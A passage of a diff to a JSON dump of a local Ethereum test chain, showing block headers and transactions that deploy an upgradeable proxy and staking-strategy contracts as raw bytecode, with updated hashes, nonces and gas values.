"impersonated_sender": null + }, + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x6", + "gas": "0xb5dcb", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "value": "0x0", + "accessList": [], + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0xc349091145a36bb4351f2ee7549290b8a8afe269e8759fc595ad871a9def5e7e", + "s": "0x6d1a7bd4c99afb219bb3425c42b6b05d6a7f815de613137cc8ec0730610c0df3", + "yParity": "0x1", + "hash": "0xd37d821613f3296bf7b88e5f2da62d3722dede33334e56330285fb4a592ab75d" } }, "impersonated_sender": null @@ -581,22 +631,22 @@ }, { "header": { - "parentHash": "0xfd37e91c70fb8db2a78606dea4b34a09d4778acdde9f66ed5e2e542cfa1ec7da", + "parentHash": "0x4754d90d4f734dc39417aceb21d2545050e389f2656238acabf700fd2726c31d", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x0c753eac3d5a74eff6016358a95f6c0b161dcba2722fe62948cac4752341c132", - "transactionsRoot": "0x2be7553a5865adbc6bff815f04f505c924560d3c96a50089e7cffa58510bcdcd", - "receiptsRoot": "0xe8296af17e54e8f4a8746cf8b3b1e0c54684b30b6d2ec46e28d7849a63f486e4", + "stateRoot": "0x57d9628bab6fd75f2f640b69e54b1c84ed823430af3a4b15fa2a2d4a571a3d06", + "transactionsRoot": "0x1469eb0690d8168cf92b7e1409f863eb98798af683f23cacbeafe711e83570c9", + "receiptsRoot": "0x1bdcae43204d3927a4431f304feebf536f4c5950b79cd82f25c583bca7ca9892", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200", + "logsBloom": "0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0xf", + "number": "0x17", "gasLimit": "0x1c9c380", - "gasUsed": "0x29509", - "timestamp": "0x67212bff", + "gasUsed": "0x18acf1", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0xc0c8296", + "baseFeePerGas": "0x42a1dd1", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -607,18 +657,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x17", - "gas": "0x3c6c3", + "nonce": "0x1a", + "gas": "0x2011a3", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", - "r": "0x7e791feb791c6a1b5c06945c2e1e6b420cc1b666ec0b184ce951a8dd6034f2b", - "s": "0x33920b9f39f3dfb6806b1aa4cc3b780b3e97c41a414b396ba34e713c89f41804", + "input": "0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9", + "r": "0x93c218ac233c356d8c1663966e7da7a6cc5b49a65642bd00403afd5a2cd58cb7", + "s": "0x71fdc067379aa87fc743df2ed1aa4474c9c2fae29c8656b65708b07e3470afac", "yParity": "0x0", - "hash": "0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc" + "hash": "0xc5ab7ffd678838a961853d02e47b017e812cf03201fd77fac31c56b8c8a08d9d" } }, "impersonated_sender": null @@ -628,22 +677,22 @@ }, { "header": { - "parentHash": "0xe7a76d4713a9bae463c98e99f3257ac11fad6d6ea9a9c6551401c4c7887306a0", + "parentHash": "0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x5931fd27f9dc2c7aea505b859ad727c77b6bfa02f340f612186a958000c5b80f", - "transactionsRoot": "0x15fa2565c65b64c798fc9da6bbca6269a938222df6dbe562d5c4b9be5d4372bd", - "receiptsRoot": "0x54ffca0765d69fd09f9b4567f748c3a1edc51b9915148aeb196e16df3c7b9664", + "stateRoot": "0x38151a6776b31b4ae893e2fae9aecb8081a108da4902255b78324feff8fd7af9", + "transactionsRoot": "0xa118868e8d45b6a6415405ef99c8cc8f1f05f27af79827e6fcb20b91cb6d079c", + "receiptsRoot": "0x289fcf4ee1ed78fc0ef575919304e2f5a2861614c0da957ad8b92c2179d79aa5", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000", + "logsBloom": "0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x10", + "number": "0xb", "gasLimit": "0x1c9c380", - "gasUsed": "0x1dc11", - "timestamp": "0x67212bff", + "gasUsed": "0x1a8b21", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0xa8f4bd0", + "baseFeePerGas": "0x1293b3b6", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -654,18 +703,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x18", - "gas": "0x2b83f", + "nonce": "0xe", + "gas": "0x227f19", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "r": "0x8a45120d596e8b8ca8db2ecee7e4c0a7ad2aa5efcdd1e669d300be5f88f5b8ee", - "s": "0x79257c8c420e081280f3232c031d4ec00ae37acf61d3606f86b08d780ce31500", - "yParity": "0x1", - "hash": "0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec" + "input": "0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b6099602090815260009